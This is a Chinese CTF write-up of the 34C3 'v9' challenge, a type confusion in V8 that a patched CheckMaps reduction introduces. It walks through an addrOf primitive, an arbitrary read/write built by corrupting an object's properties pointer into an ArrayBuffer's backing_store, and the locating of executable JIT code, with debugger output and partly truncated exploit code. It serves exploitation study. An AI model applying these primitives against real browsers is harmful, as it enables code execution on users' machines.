34c3_v9复现,由于Patch的改动导致了Type Confusion,学习了一个新姿势。
环境准备
mkdir v9 && cd v9
fetch v8 && cd v8 # see https://github.com/v8/v8/wiki/Building-from-Source
git checkout 6.3.292.48
gclient sync
patch -p1 < /path/to/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
漏洞分析
Patch
$ cat v9.patch
1 | diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc |
在RedundancyElimination加入了对于CheckMaps的Reduce。
Checkmap用于检查某个对象的类型有没有发生变化。
其调用过程如下:1
2
3
4
5
6
7Reduction RedundancyElimination::Reduce(Node* node) {
if (node_checks_.Get(node)) return NoChange();
switch (node->opcode()) {
...
case IrOpcode::kCheckMaps:
...
return ReduceCheckNode(node);
1 | Reduction RedundancyElimination::ReduceCheckNode(Node* node) { |
1 | Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const { |
1 | bool IsCompatibleCheck(Node const* a, Node const* b) { |
Reduce中对于CheckMaps时,在LookupCheck中for (Check const* check = head_; check != nullptr; check = check->next)
遍历其他check,并调用IsCompatibleCheck函数。在该函数中,如果节点均为CheckMaps,则会检查CheckMaps是否兼容,如果a_maps是b_maps的子集,则CheckMaps是兼容的。此时在IsCompatibleCheck中返回True,在LookupCheck中返回check->node,node节点被替换。如果一个节点被多次检查,则可以忽略后面的检查。
POC
1 | function hex(x) |
$ ~/browser/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./poc.js
[+] objLeakAddr -> 0x000024df95306101
DebugPrint: 0x24df95306101: [JS_OBJECT_TYPE]
- map = 0x25fac8d0c931 [FastProperties]
- prototype = 0x2356ade846a9
- elements = 0x160aaa282251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x160aaa282251 <FixedArray[0]> {
#x: <unboxed double> 1.1 (data field 0)
#y: <unboxed double> 2.2 (data field 1)
}
0x25fac8d0c931: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x25fac8d0c8e1 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x24df9530bd81 <FixedArray[8]>
- layout descriptor: 0x300000000
- prototype: 0x2356ade846a9 <Object map = 0x25fac8d022a1>
- constructor: 0x2356ade846e1 <JSFunction Object (sfi = 0x160aaa2a3b59)>
- dependent code: 0x160aaa282251 <FixedArray[0]>
- construction counter: 0
漏洞利用
在漏洞利用方面学到了一个新姿势,通过修改obj的Properties来获得一个完整的RW原语。
这里部分参考raycp师傅的exploit。
addrOf原语
如POC中一样。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22function addrOf(obj)
{
let o = {a: 1.1, b: 2.2};
function triggerFunc(o, callback)
{
let tmp = o.a;
callback(tmp);
return o.b;
}
function usableFunc()
{
o.b = obj;
}
for(let i=0; i<0x12000; i++)
{
triggerFunc(o,()=>1);
triggerFunc(o,()=>2);
}
let ret = tC.f2u(triggerFunc(o,usableFunc));
return ret;
}
`
修改Properties
对于如下对象1
2
3
4var o = {
c : 1.1
};
o.d = 2.2;
DebugPrint: 0x3e5206a41ca1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b761 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3e5206a41cc1 <PropertyArray[3]> {
#c: <unboxed double> 1.1 (data field 0)
#d: 0x3e5206a41ce9 <MutableNumber 2.2> (data field 1) properties[0]
}
0xbc7d550b761: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map
- back pointer: 0xbc7d550b711 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x2d853bb1cf29 <FixedArray[8]>
- layout descriptor: 0x100000000
- prototype: 0x2422aa4046a9 <Object map = 0xbc7d55022a1>
- constructor: 0x2422aa4046e1 <JSFunction Object (sfi = 0x3d6274323b59)>
- dependent code: 0x2422aa43a4c1 <FixedArray[4]>
- construction counter: 0
添加的o.d(properties[0])是MutableNumber类型。
pwndbg> job 0x3e5206a41ce9
<mutable 2.2>
pwndbg> x/2gx 0x3e5206a41ce9-1
0x3e5206a41ce8: 0x00000aefc6902e31 0x400199999999999a
改变o.d后
DebugPrint: 0x3e5206a41ca1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b081 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x3e5206a41d99 <PropertyArray[3]> {
#c: <unboxed double> 1.1 (data field 0)
#d: 0x2d853bb1cac1 <Object map = 0xbc7d550b6c1> (data field 1) properties[0]
}
0xbc7d550b081: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 2
- enum length: invalid
- stable_map
- back pointer: 0xbc7d550b711 <Map(HOLEY_ELEMENTS)>
- instance descriptors (own) #2: 0x3e5206a41d49 <FixedArray[8]>
- layout descriptor: 0x100000000
- prototype: 0x2422aa4046a9 <Object map = 0xbc7d55022a1>
- constructor: 0x2422aa4046e1 <JSFunction Object (sfi = 0x3d6274323b59)>
- dependent code: 0x3d6274302251 <FixedArray[0]>
- construction counter: 0
...
pwndbg> job 0x2d853bb1cac1
0x2d853bb1cac1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b6c1 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2d853bb1cba1 <PropertyArray[3]> {
#inline: 42 (data field 0)
#offset0: 0x2d853bb1cb19 <Object map = 0xbc7d5502391> (data field 1) properties[0]
#offset8: 0x2d853bb1cbc9 <Object map = 0xbc7d5502391> (data field 2) properties[1]
#offset16: 0x2d853bb1cc69 <Object map = 0xbc7d5502391> (data field 3) properties[2]
}
pwndbg> x/2gx 0x2d853bb1cac1-1
0x2d853bb1cac0: 0x00000bc7d550b6c1 0x00002d853bb1cba1
0x2d853bb1cac1的对象就是我们要改变properties的对象。
可以看到存放对象properties的位置与存放MutableNumber的值的位置相同,
所以我们可以再次修改o.d为目标值,就可以修改对象0x2d853bb1cac1的properties为目标值。
DebugPrint: 0x2d853bb1cac1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b6c1 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2422aa436749 <ArrayBuffer map = 0xbc7d5502f71> {
#inline: 42 (data field 0)
#offset0: 0x3d6274302251 <FixedArray[0]> (data field 1) properties[0]
#offset8: 1024 (data field 2) properties[1]
#offset16: 22089 (data field 3) properties[2]
...
pwndbg> job 0x2422aa436749
0x2422aa436749: [JSArrayBuffer] in OldSpace
- map = 0xbc7d5502f71 [FastProperties]
- prototype = 0x2422aa40b7b9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x56494f218ea0
- byte_length = 1024
- neuterable
- properties = 0x3d6274302251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
此时对象0x2d853bb1cac1的properties已经被修改为了一个ArrayBuffer的地址。
任意地址读写
1 | var memviewBuf = new ArrayBuffer(1024); |
首先new两个ArrayBuffer,并通过两次gc把他们移到OldSpace。
1 | var victim = {inline: 42}; |
然后通过上述修改properties的方法,把victim的properties修改为driverBuf的地址(通过AddrOf获得)。
看一下PropertyArray
pwndbg> job 0x2d853bb1cba1
0x2d853bb1cba1: [PropertyArray]
- map = 0xaefc69031a1 <Map(HOLEY_ELEMENTS)>
- length: 3
- hash: 0
0: 0x2d853bb1cb19 <Object map = 0xbc7d5502391>
1: 0x2d853bb1cbc9 <Object map = 0xbc7d5502391>
2: 0x2d853bb1cc69 <Object map = 0xbc7d5502391>
pwndbg> x/6gx 0x2d853bb1cba1-1
0x2d853bb1cba0: 0x00000aefc69031a1 0x0000000300000000
0x2d853bb1cbb0: 0x00002d853bb1cb19 0x00002d853bb1cbc9
0x2d853bb1cbc0: 0x00002d853bb1cc69 0x00000bc7d5502391
可以看到0x20位置是0x00002d853bb1cc69,即victim.offset16。
pwndbg> job 0x2422aa436749
0x2422aa436749: [JSArrayBuffer] in OldSpace
- map = 0xbc7d5502f71 [FastProperties]
- prototype = 0x2422aa40b7b9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x56494f218ea0
- byte_length = 1024
- neuterable
- properties = 0x3d6274302251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
pwndbg> x/6gx 0x2422aa436749-1
0x2422aa436748: 0x00000bc7d5502f71 0x00003d6274302251
0x2422aa436758: 0x00003d6274302251 0x0000040000000000
0x2422aa436768: 0x000056494f218ea0 0x000056494f218ea0
而在ArrayBuffer中,0x20位置是backing_store。所以我们可以修改victim.offset16来改变backing_store。
DebugPrint: 0x2d853bb1cac1: [JS_OBJECT_TYPE]
- map = 0xbc7d550b6c1 [FastProperties]
- prototype = 0x2422aa4046a9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties = 0x2422aa436749 <ArrayBuffer map = 0xbc7d5502f71> {
#inline: 42 (data field 0)
#offset0: 0x3d6274302251 <FixedArray[0]> (data field 1) properties[0]
#offset8: 1024 (data field 2) properties[1]
#offset16: 0x2422aa408f31 <ArrayBuffer map = 0xbc7d5502f71> (data field 3) properties[2]
}
0x2422aa436749: [JSArrayBuffer] in OldSpace
- map = 0xbc7d5502f71 [FastProperties]
- prototype = 0x2422aa40b7b9
- elements = 0x3d6274302251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store = 0x2422aa408f31
- byte_length = 1024
- neuterable
- properties = 0x3d6274302251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
通过修改后可以看到,随着offset16的改变,ArrayBuffer的backing_store同时改变。
然后就可以通过其获得完整的任意地址读写。
1 | class ArbitraryRW |
read中,driver是上面victim的properties所指ArrayBuffer的视图,其backing_store已经被修改成另一个ArrayBuffer,向backing_store内容+31偏移位置(即另一个ArrayBuffer的backing_store)写入目标addr,然后通过另一个ArrayBuffer的视图控制读写。write中也类似。leakObj是通过map以及instanceDescriptors来稳定泄露obj的地址。
RWX地址
在低版本的v8中,可以通过修改函数的JIT代码实现任意执行。
pwndbg> job 0x246bc89ac0c1
0x246bc89ac0c1: [Function] in OldSpace
- map = 0x284ab4a84501 [FastProperties]
- prototype = 0x246bc8984669
- elements = 0x2d96f9082251 <FixedArray[0]> [HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x246bc89abf81 <SharedFunctionInfo 0>
- name = 0x2d96f90844f1 <String[1]: 0>
- formal_parameter_count = 0
- kind = [ NormalFunction ]
- context = 0x246bc8983d91 <FixedArray[281]>
- code = 0x257698804081 <Code JS_TO_WASM_FUNCTION>
- properties = 0x246bc8988d81 <PropertyArray[3]> {
#length: 0x2d96f90fdb19 <AccessorInfo> (const accessor descriptor)
#name: 0x2d96f90fdb89 <AccessorInfo> (const accessor descriptor)
#arguments: 0x2d96f90fdbf9 <AccessorInfo> (const accessor descriptor)
#caller: 0x2d96f90fdc69 <AccessorInfo> (const accessor descriptor)
#prototype: 0x2d96f90fdcd9 <AccessorInfo> (const accessor descriptor)
0x2d96f9084991 <Symbol: (wasm_instance_symbol)>: 0x246bc89ae669 <Instance map = 0x38c99150b7b1> (data field 0) properties[0]
0x2d96f9084971 <Symbol: (wasm_function_index_symbol)>: 0 (data field 1) properties[1]
}
- feedback vector: not available
pwndbg> x/20gx 0x246bc89ac0c1-1
0x246bc89ac0c0: 0x0000284ab4a84501 0x0000246bc8988d81
0x246bc89ac0d0: 0x00002d96f9082251 0x00002d96f9082321
0x246bc89ac0e0: 0x0000246bc89abf81 0x0000246bc8983d91
0x246bc89ac0f0: 0x00002d96f90827e1 0x0000257698804081
code在0x38偏移处。
pwndbg> job 0x257698804081
0x257698804081: [Code]
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
Instructions (size = 147)
0x2576988040e0 0 55 push rbp
0x2576988040e1 1 4889e5 REX.W movq rbp,rsp
可计算得到,code地址距离可执行代码的位置有0x60的偏移。
Exploit
1 | function hex(x) |
